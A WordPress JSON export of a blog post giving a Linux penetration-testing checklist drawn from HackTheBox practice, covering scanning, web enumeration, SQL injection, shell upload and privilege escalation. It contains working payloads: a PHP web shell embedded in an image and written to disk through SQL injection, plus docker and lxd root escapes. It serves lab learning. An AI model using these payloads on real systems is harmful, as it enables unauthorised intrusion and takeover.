{"id":361,"date":"2020-07-16T11:15:45","date_gmt":"2020-07-16T11:15:45","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=361"},"modified":"2022-02-10T17:36:38","modified_gmt":"2022-02-10T17:36:38","slug":"penetration-testing-checklist-for-linux","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/penetration-testing-checklist-for-linux\/","title":{"rendered":"Penetration testing checklist for linux"},"content":{"rendered":"\n<p>It happens a lot of times when pentesters miss out a simple thing while pentesting and incomplete enumeration results can cause complications. And in that sense, a checklist can always save you from remembering each and every step of pentest.<\/p>\n\n\n\n<p>In recent months, I solved a lot of hackthebox machines which really helped me build up a penetration methodology. And honestly speaking, there can be  multiple ways to approach while pentesting. But there are few steps that remain constant for any server you pick. The key part is to make a thorough enumeration on those so that we dont miss even the slighest potential information that can lead to a compromise.<\/p>\n\n\n\n<p>In this blog post, I will be summarising all the points that one must really look into while testing any linux machine.  <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Initial foothold<\/h2>\n\n\n\n<p>There are manifold ways to get a initial foothold over the box. And it solely depends on the open ports. So lets dig into the common enumeration steps to get the intial foothold over the box.<\/p>\n\n\n\n<p><input type=\"checkbox\">Run namp scans for both TCP and UDP. Always run a fullport scan alongside.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># nmap -sC -sV 10.10.10.X -o tcp.nmap\n# nmap -sU -vvv 10.10.10.X -o udp.namp\n# nmap -p- -sV -A -T4 -vv 10.10.10.X -o fullport.nmap<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">If port 80 is open<\/h3>\n\n\n\n<p><input type=\"checkbox\"> Check for .git<\/p>\n\n\n\n<p><input type=\"checkbox\"> Run a dirbuster\/ gobuster scans. Here&#8217;s a small script that you can use to run your scan against multiple wordlists and save the output to a file. ( PS: there are scenerios, where a particular wordlist is required to obtain the results.<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background scroll\"><code>#!\/bin\/bash\n\nwordlist=(\/usr\/share\/seclists\/Discovery\/Web-Content\/big.txt \/usr\/share\/seclists\/Discovery\/Web-Content\/common.txt \/usr\/share\/dirbuster\/wordlists\/directory-list-2.3-medium.txt \/usr\/share\/wordlists\/rockyou.txt)\n\ntouch gobuster.scans.out\n\nfor w in \"${wordlist&#91;@]}\"\ndo\n    echo \"\"\t\n    echo \"$w \"\n    echo \"$1\"\n    gobuster -u $1 -w  $w -t 50 | tee -a gobuster.scans.out| sort gobuster.scans.out| uniq \ndone\n\n# usage : bash script.sh http:\/\/10.10.10.10<\/code><\/pre>\n\n\n\n<p><input type=\"checkbox\"> Run gobuster scans with flags like -x php, txt (to enumerate files with extension), -s 200,301,302 (To only look upon certain response codes)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># gobuster -u http:\/\/example.com -w \/usr\/share\/seclists\/Discovery\/Web-Content\/big.txt -t 50 -x txt<\/pre>\n\n\n\n<p><input type=\"checkbox\">Check the page source<\/p>\n\n\n\n<p><input type=\"checkbox\">When every word in a wordlist gives a 200 OK or a 301, you need to use a fuzzer. wfuzz and ffuf are best options. Fuzzers can also be used for directory or file enumeration.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># for parameter enumeration\n&gt; wfuzz -w \/usr\/share\/dirbuster\/wordlists\/directory-list-2.3-medium.txt -u http:\/\/10.10.10.69\/sync?FUZZ=test\n\n# output after filtering the response size\n&gt; .\/ffuf -w \/usr\/share\/seclists\/Discovery\/Web-Content\/burp-parameter-names.txt -u http:\/\/fluxcapacitor.htb\/sync\\?FUZZ=yesterday -fs 19<\/pre>\n\n\n\n<p><input type=\"checkbox\">Got a login form? Capture the request in burp (save it login.req) and scan for any sql injections<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># sqlmap -r login.req --all --batch --level 3 --risk 3<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">CMS( Content Management System) is present?<\/h3>\n\n\n\n<p><input type=\"checkbox\">If a CMS is present on the box, always search for its directory structure on github. In most of the cases you will be successful in finding one as most of them are open source.<br>\n<input type=\"checkbox\"> Search for the files where CMS stores its sensitive information such as credentials or config files.<br>\n<input type=\"checkbox\"> Search for the default credentials of CMS.<br>\n<input type=\"checkbox\"> Find the version of CMS that is running on the box and perform a searchploit againt it.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># searchsploit CMS<\/pre>\n\n\n\n<p>Searching for directory structure can be useful as sometimes the wordlists are unable to bruteforce the directories\/files. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Shell upload<\/h2>\n\n\n\n<p><input type=\"checkbox\">Want to upload a shell on places with restricted file types?<\/p>\n\n\n\n<p><input type=\"checkbox\">With exiftool, one can embed the shell code inside an image. This wont create any hinderance in the extension restriction. <\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># exiftool -Comment='\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"\"; die; }?&gt;' master.jpg<\/pre>\n\n\n\n<p><input type=\"checkbox\">If sql injection is present, try uploading the shell. <\/p>\n\n\n\n<p>Firstly, try to enumerate the number of columns present. This can be done using order by clause. After determining the number of columns, combined with union to perform union-based SQL injections. For see practical implementation, visit <span class=\"has-inline-color has-vivid-cyan-blue-color\"><a href=\"https:\/\/null-byte.wonderhowto.com\/how-to\/use-sql-injection-run-os-commands-get-shell-0191405\/\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a><\/span>.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"><code>' union select 1, '&lt;?php system($_GET[\"cmd\"]); ?&gt;' into outfile '\/var\/www\/html\/cmd.php' #<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Approaches to privilege escalation<\/h2>\n\n\n\n<p>Once inside the box, you get the privilege of using enumeration scripts that do a hell lot of work for you. The best options available are LinEnum.sh and LinPeas.sh. <\/p>\n\n\n\n<p>So lets dig into what to exploit, once indise the box!! Here&#8217;s another checklist that can help you get your way through.<\/p>\n\n\n\n<p><input type=\"checkbox\">Check the contents of \/var\/www\/html for sensitive contents like config files, database files.<\/p>\n\n\n\n<p><input type=\"checkbox\">Check for users.xml, if tomcat is present<\/p>\n\n\n\n<p><input type=\"checkbox\">Found sudo ? Do a sudo -l<\/p>\n\n\n\n<p><input type=\"checkbox\">Check files with suid but set<\/p>\n\n\n\n<p><input type=\"checkbox\">Check for all the listening ports in the output of netstat. Check if the obtained ports can be mapped to default service. ( PS: One cant always remember 5 digit port number that has a service mapped to it)<\/p>\n\n\n\n<p><input type=\"checkbox\">If any named service is running, check for its exploits on the version running<\/p>\n\n\n\n<p><input type=\"checkbox\">A python file runs with sudo privileges? Check for the python path, if we could inject our malicious module in the directory to gain elevated privileges.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># checking python path. Path in which python looks to import its modules\/ libraries\npython -c 'import sys; print(sys.path)';<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Docker is present??<\/h2>\n\n\n\n<p><input type=\"checkbox\">Try to find the credentials to get a way inside docker.<\/p>\n\n\n\n<p><input type=\"checkbox\">Any user is part of docker group? You can easily get a shell. Exploit details can be found <span class=\"has-inline-color has-vivid-cyan-blue-color\"><a href=\"https:\/\/fosterelli.co\/privilege-escalation-via-docker\">here<\/a><\/span>.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"><code><span style=\"color:#ffffff\" class=\"has-inline-color\">docker run -v \/:\/mnt --rm -it alpine chroot \/mnt sh<\/span><\/code><\/pre>\n\n\n\n<p><input type=\"checkbox\">If linux containers are present and any <strong>user is part of lxd group<\/strong>, then the account can easily elevate its privileges to root. Find more about lxc <a href=\"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/\" target=\"_blank\" rel=\"noreferrer noopener\"><span class=\"has-inline-color has-vivid-cyan-blue-color\">here<\/span><\/a><\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># lxc image import .\/alpine-v3.12-x86_64-20200629_1550.tar.gz --alias myimage\n# lxc init myimage ignite -c security.privileged=true \n# lxc config device add ignite mydevice disk source=\/ path=\/mnt\/root recursive=true \n# lxc start ignite \n# lxc exec ignite \/bin\/sh\n# id<\/pre>\n\n\n\n<p>I will be constantly updating this checklist as I find the different attack vectors. You can freely use this checklist while you perform pentest, so that you dont missout the low hanging fruits.<\/p>\n\n\n\n<p>Thats all for the blog post! Until then, happy hunting..<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The linux penetration checklist is a list of points that you should always look into while pentesting into any linux box. It has points from initial foothold to privilege escalation<\/p>\n","protected":false},"author":1,"featured_media":366,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[19,2,141],"tags":[227,229,71,230,226,232,202,52],"class_list":["post-361","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackthebox","category-information-security","category-linux","tag-checklist","tag-initial-foothold","tag-linux","tag-notes","tag-penetration-testing","tag-pentesting-methodology","tag-privilege-escalation","tag-red-teaming","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/361"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=361"}],"version-history":[{"count":8,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/361\/revisions"}],"predecessor-version":[{"id":932,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/361\/revisions\/932"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/366"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=361"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=361"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=361"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}